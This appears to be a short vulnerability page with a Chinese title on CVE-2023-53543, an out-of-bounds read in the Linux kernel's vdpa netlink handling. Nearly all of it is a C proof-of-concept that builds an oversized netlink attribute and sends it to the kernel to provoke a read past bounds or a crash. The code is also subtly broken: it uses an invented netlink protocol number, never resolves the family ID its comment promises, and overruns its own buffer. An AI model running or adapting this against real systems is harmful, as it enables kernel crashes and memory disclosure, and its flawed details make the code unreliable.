CVE-2023-53543 Linux内核vdpa_netlink策略缺失导致越界读取漏洞

/* CVE-2023-53543 PoC - vdpa netlink OOB read via missing nla_policy * This PoC demonstrates how to trigger the OOB read vulnerability * by sending a malicious netlink message with an oversized VDPA_ATTR_MAX_VQP attribute. * * Note: This requires local access and appropriate permissions (typically CAP_NET_ADMIN * or being in the netlink family's allowed group). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/genetlink.h> #define NETLINK_VDPA 21 #define VDPA_GENL_NAME "vdpa" #define VDPA_ATTR_MAX_VQP 5 /* Attribute type for max VQP */ struct nlmsghdr *build_netlink_message(int *msg_len) { /* Allocate buffer for netlink message */ int buf_size = 4096; char *buf = malloc(buf_size); if (!buf) return NULL; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct genlmsghdr *genlhdr = (struct genlmsghdr *)(buf + NLMSG_HDRLEN); /* Fill netlink header */ nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN); nlh->nlmsg_pid = getpid(); nlh->nlmsg_type = 0; /* Will be filled after getting family ID */ nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; /* Fill generic netlink header */ genlhdr->cmd = 1; /* VDPA_CMD_NEW_DEV or similar */ genlhdr->version = 1; genlhdr->reserved = 0; /* Add attribute with oversized payload to trigger OOB read */ struct nlattr *attr = (struct nlattr *)(buf + NLMSG_HDRLEN + GENL_HDRLEN); attr->nla_type = VDPA_ATTR_MAX_VQP; /* Intentionally set an oversized nla_len to bypass validation */ attr->nla_len = 4096; /* Much larger than expected */ /* Fill with payload data */ memset((char *)attr + NLA_HDRLEN, 'A', 4096 - NLA_HDRLEN); nlh->nlmsg_len += NLA_ALIGN(4096); *msg_len = nlh->nlmsg_len; return nlh; } int main(int argc, char *argv[]) { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh; int msg_len; /* Create netlink socket */ sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_VDPA); if (sock_fd < 0) { perror("socket creation failed"); return -1; } /* Bind socket */ memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); src_addr.nl_groups = 0; if (bind(sock_fd, (struct sockaddr *)&src_addr, sizeof(src_addr)) < 0) { perror("bind failed"); close(sock_fd); return -1; } /* Build malicious netlink message */ nlh = build_netlink_message(&msg_len); if (!nlh) { close(sock_fd); return -1; } /* Send the malicious message */ memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; /* Destination is kernel */ dest_addr.nl_groups = 0; printf("Sending malicious vdpa netlink message...\n"); if (sendto(sock_fd, nlh, msg_len, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) < 0) { perror("sendto failed"); free(nlh); close(sock_fd); return -1; } printf("Message sent. Check kernel logs for OOB read or crash.\n"); free(nlh); close(sock_fd); return 0; }